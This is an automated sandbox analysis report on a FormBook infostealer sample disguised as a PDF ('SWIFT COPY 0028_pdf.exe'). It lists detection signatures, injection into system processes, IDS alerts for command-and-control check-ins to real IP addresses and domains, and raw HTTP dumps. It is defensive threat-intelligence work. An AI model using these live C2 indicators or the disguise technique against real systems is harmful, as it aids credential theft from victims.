Windows Analysis Report
SWIFT COPY 0028_pdf.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4613350413.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2315508419.00000000049A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4613324935.0000000002D70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4613219723.0000000002D70000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4602405101.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4613399783.0000000004BC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2314669018.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2316526821.0000000006480000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SWIFT COPY 0028_pdf.exe

Joe Sandbox ML: detected

Source: SWIFT COPY 0028_pdf.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: nBMWUKLuWlMJko.exe, 00000003.00000002.4611840716.00000000006CE000.00000002.00000001.01000000.00000004.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4602403236.00000000006CE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: SWIFT COPY 0028_pdf.exe, 00000000.00000003.2154550142.00000000037A0000.00000004.00001000.00020000.00000000.sdmp, SWIFT COPY 0028_pdf.exe, 00000000.00000003.2153324320.0000000003940000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2315069087.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2221830371.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2315069087.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2219817771.0000000003800000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4613707846.0000000004F6E000.00000040.00001000.00020000.00000000.sdmp, rasautou.exe, 00000004.00000003.2322691574.0000000004A7F000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4613707846.0000000004DD0000.00000040.00001000.00020000.00000000.sdmp, rasautou.exe, 00000004.00000003.2326045959.0000000004C23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SWIFT COPY 0028_pdf.exe, 00000000.00000003.2154550142.00000000037A0000.00000004.00001000.00020000.00000000.sdmp, SWIFT COPY 0028_pdf.exe, 00000000.00000003.2153324320.0000000003940000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.2315069087.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2221830371.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2315069087.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2219817771.0000000003800000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, rasautou.exe, 00000004.00000002.4613707846.0000000004F6E000.00000040.00001000.00020000.00000000.sdmp, rasautou.exe, 00000004.00000003.2322691574.0000000004A7F000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4613707846.0000000004DD0000.00000040.00001000.00020000.00000000.sdmp, rasautou.exe, 00000004.00000003.2326045959.0000000004C23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: rasautou.exe, 00000004.00000002.4606460151.0000000003177000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4614264307.00000000053FC000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.000000000321C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2619893356.00000000245FC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: rasautou.exe, 00000004.00000002.4606460151.0000000003177000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4614264307.00000000053FC000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.000000000321C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2619893356.00000000245FC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: rasautou.pdbGCTL source: svchost.exe, 00000002.00000002.2314913469.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2282220992.0000000003613000.00000004.00000020.00020000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000003.00000003.2252387323.000000000081B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rasautou.pdb source: svchost.exe, 00000002.00000002.2314913469.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2282220992.0000000003613000.00000004.00000020.00020000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000003.00000003.2252387323.000000000081B000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00966CA9 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00966CA9
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009660DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_009660DD
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009663F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_009663F9
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0096EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0096EB60
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0096F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0096F5FA
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0096F56F FindFirstFileW,FindClose,	0_2_0096F56F
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00971B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00971B2F
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00971C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00971C8A
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00971F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00971F94
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E6CC00 FindFirstFileW,FindNextFileW,FindClose,	4_2_02E6CC00

Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4x nop then xor eax, eax	4_2_02E5A080
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4x nop then pop edi	4_2_02E5E774
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4x nop then mov ebx, 00000004h	4_2_04CC04D8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49872 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49966 -> 76.223.74.74:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.6:49966 -> 76.223.74.74:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49990 -> 163.44.185.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49991 -> 163.44.185.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49986 -> 76.223.74.74:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49994 -> 163.44.185.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49999 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49997 -> 172.67.162.12:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49989 -> 76.223.74.74:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50006 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50009 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50003 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50000 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50021 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50019 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49992 -> 163.44.185.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50031 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50022 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50025 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50035 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50005 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49995 -> 172.67.162.12:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50032 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50029 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50033 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49987 -> 76.223.74.74:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50049 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50037 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50027 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50011 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50016 -> 66.29.137.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50040 -> 172.67.162.39:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49998 -> 172.67.162.12:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50002 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50028 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50036 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50018 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50030 -> 103.224.182.242:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50051 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50047 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50048 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50014 -> 66.29.137.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50044 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50039 -> 172.67.162.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50015 -> 66.29.137.10:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50038 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50043 -> 172.67.162.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50008 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50046 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49996 -> 172.67.162.12:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50010 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50045 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50017 -> 66.29.137.10:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50007 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50050 -> 104.21.4.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50041 -> 172.67.162.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50023 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50004 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50020 -> 203.161.46.205:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50026 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50034 -> 13.248.169.48:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.aziziyeescortg.xyz
Source:	DNS query: www.aiactor.xyz
Source:	DNS query: www.optimismbank.xyz

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 103.224.182.242 103.224.182.242

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: INTERQGMOInternetIncJP INTERQGMOInternetIncJP
Source: Joe Sandbox View	ASN Name: TRELLIAN-AS-APTrellianPtyLimitedAU TRELLIAN-AS-APTrellianPtyLimitedAU

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00974EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00974EB5

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Nov 2024 07:34:08 GMTserver: Apacheset-cookie: __tad=1732088048.1405750; expires=Sat, 18-Nov-2034 07:34:08 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b 72 25 26 69 50 e4 bf 8f 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 d9 c9 aa a9 33 42 d5 14 f9 39 12 15 5e 39 dd 13 d0 b1 47 11 13 de 53 be 91 7b 79 8e c6 e0 9d 12 71 be f1 79 ad cd 1a 5d ef b4 a1 5c eb 1a b3 4e 9b 6c e3 e3 b2 c8 cf d8 d7 52 95 d1 5e 3a 70 58 69 87 8a 7e b6 da 6c 41 40 d2 10 f5 8b 3c 3f 1c 0e d9 b3 ba 7c df df ad f2 0f c9 32 8a f2 1c 6e 91 40 02 e9 0e ed 8e c0 d6 30 9f cd a0 d3 ca 59 8f ca 9a ca 03 59 c0 7b 54 3b 42 06 3e 96 00 5d 03 35 08 2f 94 43 ef 6c a7 3d c7 a4 6e 3d d4 d6 81 b7 1d 32 45 7a 6b a2 7a 67 14 69 6b f8 b8 6d 57 52 6d 6f c6 54 e9 14 1e a2 c9 41 9b ca 1e b2 d6 2a 19 50 99 c3 be 95 0a d3 df 3c 5d 26 75 2f ae de 27 d3 65 74 8a 22 72 c7 c0 64 95 9e c0 55 ee fb 68 42 80 47 1a 37 e9 9f d5 de 04 83 cc 9f 84 86 d5 fd b7 51 b3 80 4f cf 4e be dc b2 0e 59 a5 0f 9d 35 9a 2c 87 d6 8b 20 db e3 29 30 9f 58 d1 64 92 71 13 4c 5a f7 20 4a ce 96 ad 91 ed 4c 9f e2 fc 32 71 e8 77 2d 85 f3 07 08 fb b1 b0 0b 3a 83 9d e4 f2 8c c8 f6 da 87 62 9f ab e5 00 53 2d ca 47 4b e9 b3 bb e9 f9 f4 ff da 15 ca 0c 84 a0 fb 04 8c 55 4d 8a ce 0d 1d ff fb 3b 0c 5d 7d 39 72 74 e4 29 86 95 ad b8 d1 10 b0 6b 67 77 a6 5a 5c 5c cf ae d5 fc 1d 9c 80 d1 03 88 69 e3 65 18 d0 ab b5 b2 ad 75 22 be a8 87 15 43 98 58 de ce 86 c5 f3 5a 54 7a 0f 03 57 24 95 f6 ac fe b8 00 63 0d 2e 93 b2 90 d0 38 ac c5 3f e7 37 4c c2 3c 29 3f b6 5a 6d a1 41 87 c3 a0 1a 42 57 e4 92 2f 0e e7 e7 2a c6 8e 6e 8a 0e 89 d3 72 c2 2b bc db e9 bd 88 b9 02 77 be 89 81 07 88 98 28 e2 d9 12 7e dc 7c 15 af 55 7d 1b ee e5 53 62 76 1e 2c 0f 1d 08 7f 85 5f d3 43 7a ee 1c 04 00 00 Data Ascii: TMo0=pvNl;a"[r%&iPrm:]lQeb3B9^9GS{yqy]\NlR^:pXi~lA@<?\|2n@0YY{T;B>]5/Cl=n=2EzkzgikmWRmoTAP<]&u/'et"rdUhBG7QONY5, )0XdqLZ JL2qw-:bS-GKUM;]}9rt)kgwZ\\ieu"CXZTzW$c.8?7L<)?ZmABW/nr+w(~\|U}Sbv,_Cz
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Nov 2024 07:34:10 GMTserver: Apacheset-cookie: __tad=1732088050.5135837; expires=Sat, 18-Nov-2034 07:34:10 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b 72 25 26 69 50 e4 bf 8f 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 d9 c9 aa a9 33 42 d5 14 f9 39 12 15 5e 39 dd 13 d0 b1 47 11 13 de 53 be 91 7b 79 8e c6 e0 9d 12 71 be f1 79 ad cd 1a 5d ef b4 a1 5c eb 1a b3 4e 9b 6c e3 e3 b2 c8 cf d8 d7 52 95 d1 5e 3a 70 58 69 87 8a 7e b6 da 6c 41 40 d2 10 f5 8b 3c 3f 1c 0e d9 b3 ba 7c df df ad f2 0f c9 32 8a f2 1c 6e 91 40 02 e9 0e ed 8e c0 d6 30 9f cd a0 d3 ca 59 8f ca 9a ca 03 59 c0 7b 54 3b 42 06 3e 96 00 5d 03 35 08 2f 94 43 ef 6c a7 3d c7 a4 6e 3d d4 d6 81 b7 1d 32 45 7a 6b a2 7a 67 14 69 6b f8 b8 6d 57 52 6d 6f c6 54 e9 14 1e a2 c9 41 9b ca 1e b2 d6 2a 19 50 99 c3 be 95 0a d3 df 3c 5d 26 75 2f ae de 27 d3 65 74 8a 22 72 c7 c0 64 95 9e c0 55 ee fb 68 42 80 47 1a 37 e9 9f d5 de 04 83 cc 9f 84 86 d5 fd b7 51 b3 80 4f cf 4e be dc b2 0e 59 a5 0f 9d 35 9a 2c 87 d6 8b 20 db e3 29 30 9f 58 d1 64 92 71 13 4c 5a f7 20 4a ce 96 ad 91 ed 4c 9f e2 fc 32 71 e8 77 2d 85 f3 07 08 fb b1 b0 0b 3a 83 9d e4 f2 8c c8 f6 da 87 62 9f ab e5 00 53 2d ca 47 4b e9 b3 bb e9 f9 f4 ff da 15 ca 0c 84 a0 fb 04 8c 55 4d 8a ce 0d 1d ff fb 3b 0c 5d 7d 39 72 74 e4 29 86 95 ad b8 d1 10 b0 6b 67 77 a6 5a 5c 5c cf ae d5 fc 1d 9c 80 d1 03 88 69 e3 65 18 d0 ab b5 b2 ad 75 22 be a8 87 15 43 98 58 de ce 86 c5 f3 5a 54 7a 0f 03 57 24 95 f6 ac fe b8 00 63 0d 2e 93 b2 90 d0 38 ac c5 3f e7 37 4c c2 3c 29 3f b6 5a 6d a1 41 87 c3 a0 1a 42 57 e4 92 2f 0e e7 e7 2a c6 8e 6e 8a 0e 89 d3 72 c2 2b bc db e9 bd 88 b9 02 77 be 89 81 07 88 98 28 e2 d9 12 7e dc 7c 15 af 55 7d 1b ee e5 53 62 76 1e 2c 0f 1d 08 7f 85 5f d3 43 7a ee 1c 04 00 00 Data Ascii: TMo0=pvNl;a"[r%&iPrm:]lQeb3B9^9GS{yqy]\NlR^:pXi~lA@<?\|2n@0YY{T;B>]5/Cl=n=2EzkzgikmWRmoTAP<]&u/'et"rdUhBG7QONY5, )0XdqLZ JL2qw-:bS-GKUM;]}9rt)kgwZ\\ieu"CXZTzW$c.8?7L<)?ZmABW/nr+w(~\|U}Sbv,_Cz
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Wed, 20 Nov 2024 07:34:13 GMTserver: Apacheset-cookie: __tad=1732088053.2947419; expires=Sat, 18-Nov-2034 07:34:13 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 576content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b 72 25 26 69 50 e4 bf 8f 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 d9 c9 aa a9 33 42 d5 14 f9 39 12 15 5e 39 dd 13 d0 b1 47 11 13 de 53 be 91 7b 79 8e c6 e0 9d 12 71 be f1 79 ad cd 1a 5d ef b4 a1 5c eb 1a b3 4e 9b 6c e3 e3 b2 c8 cf d8 d7 52 95 d1 5e 3a 70 58 69 87 8a 7e b6 da 6c 41 40 d2 10 f5 8b 3c 3f 1c 0e d9 b3 ba 7c df df ad f2 0f c9 32 8a f2 1c 6e 91 40 02 e9 0e ed 8e c0 d6 30 9f cd a0 d3 ca 59 8f ca 9a ca 03 59 c0 7b 54 3b 42 06 3e 96 00 5d 03 35 08 2f 94 43 ef 6c a7 3d c7 a4 6e 3d d4 d6 81 b7 1d 32 45 7a 6b a2 7a 67 14 69 6b f8 b8 6d 57 52 6d 6f c6 54 e9 14 1e a2 c9 41 9b ca 1e b2 d6 2a 19 50 99 c3 be 95 0a d3 df 3c 5d 26 75 2f ae de 